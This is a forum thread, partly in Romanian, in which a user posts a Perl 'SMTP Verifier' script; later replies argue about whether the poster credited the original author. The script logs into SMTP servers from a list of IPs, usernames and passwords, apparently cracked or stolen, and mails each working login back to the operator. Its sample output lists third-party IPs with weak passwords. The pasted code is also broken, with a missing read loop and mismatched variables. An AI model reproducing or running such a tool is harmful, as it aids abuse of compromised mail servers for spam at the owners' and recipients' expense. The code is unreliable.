SMTP Checker

[Htich]

#!/usr/bin/perl
# Smtp Verifier . Easy , Simple , Faster , Bether .
#
#    Contact: [email]kiinder@jabber.se[/email]    
#
#
# Put Smtp List In File smtp.txt EX: 192.168.1.1 admin admin 
#                 EX: 200.1.22.11 mail hackme
# require MIME::Base64;
# require Authen::SASL;
# use Net::SMTP;
# use Parallel::ForkManager;
#
# To Install Use This :
#
# perl -MCPAN -e 'install Parallel::ForkManager'
# perl -MCPAN -e 'install Authen::SASL'
# perl -MCPAN -e 'install Net::SMTP'
# perl -MCPAN -e 'MIME::Base64'
#
#
# [root@rst admin]# perl check.pl
# Smtp Verefier By Rst: Hit Enter
# From name <example: Test>: yahoo.com
# From address <example: user.com>: [email]rst@localhost.com[/email]
# Your email address <example: myemail.com>: [email]herearethesmtp@list.com[/email]
# Maximum threads <example: 150>: 50
# Mail file <example: mail.txt>: mail.txt
# SMTP file <example: smtp.txt>: smtp.txt
#[+] Testing 204.232.250.23 admin 1234 | Done.
#[+] Testing 205.128.228.141 admin  | Done.
#[+] Testing 205.128.228.143 admin admin123 | Done.


require MIME::Base64;
require Authen::SASL;
use Net::SMTP;
use Parallel::ForkManager;

print "From name <example: Test>: ";
my $name = <STDIN>;
chomp($name);
print "From address <example: [email]user@domain.com[/email]>: ";
my $from = <STDIN>;
chomp($from);
print "Your email address <example: [email]myemail@mydomain.com[/email]>: ";
my $to = <STDIN>;
chomp($to);
print "Maximum threads <example: 150>: ";
my $max = <STDIN>;
chomp($max);
print "Mail file <example: mail.txt>: ";
my $mail = <STDIN>;
chomp($mail);
print "SMTP file <example: smtp.txt>: ";
my $smtp = <STDIN>;
chomp($smtp);
open(INFO, $mail);
     @Info = split(/ /, $line);
    $server = $info[0];
    $username = $info[1];
        $pass = $info[2];

    $subject = $server.' - '.$username.'/'.$pass;
    print "[+] Testing $server $username $pass | ";
    $connection = Net::SMTP->new($server,
        Timeout => 20,
        Debug => 0);
    if (!defined($connection) || !($connection)) {
        print ("Error at connecting. Skipping.\n");
    } else {
        $connection->auth($username, $pass);
        $connection->mail($from1);
        $connection->to($to);
        $connection->data;
        $connection->datasend("From: $name <$from>\r\n");
        $connection->datasend("To: $to\r\n");
        $connection->datasend("Content-Type: text/html \r\n");
        $connection->datasend("Subject: $subject\r\n");
        $connection->datasend("\r\n");
        $connection->datasend("$body\r\n");
        $connection->datasend("\r\n");
        $connection->dataend();
        $connection->quit;
        print ("Done.\n");
    }
$pm->finish;
}

Edited October 28, 2014 by Htich

[Reckon]

#!/usr/bin/perl
# Smtp Verifier . Easy , Simple , Faster , Bether .
#
#    Contact: [email]kiinder@jabber.se[/email]    
#
#
# Put Smtp List In File smtp.txt EX: 192.168.1.1 admin admin 

E al nu stiu catelea tool care-l postezi sub semnatura ta:

Exploit-ID » SMTP Verification Tool

[scriptlordz]

macar a postat ceva util,spre deosebire de postul tau. te-ai simtit tu lezat ca nu a precizat sursa... of of

[Htich]

Sursa o am de ceva ani ( 3 ani cred ) , am "regasit-o pe un cd ".

[Aerosol]

Sursa o am de ceva ani ( 3 ani cred ) , am "regasit-o pe un cd ".

Oricum nu e frumos sa iti asumi meritele pe munca altuia,

orice postezi incearca sa dai credite autorului!

[Htich]

Oricum nu e frumos sa iti asumi meritele pe munca altuia,

orice postezi incearca sa dai credite autorului!

Pe bune ? ) Uitam care este varza si care este capra !

[mircboot]

Thanks bro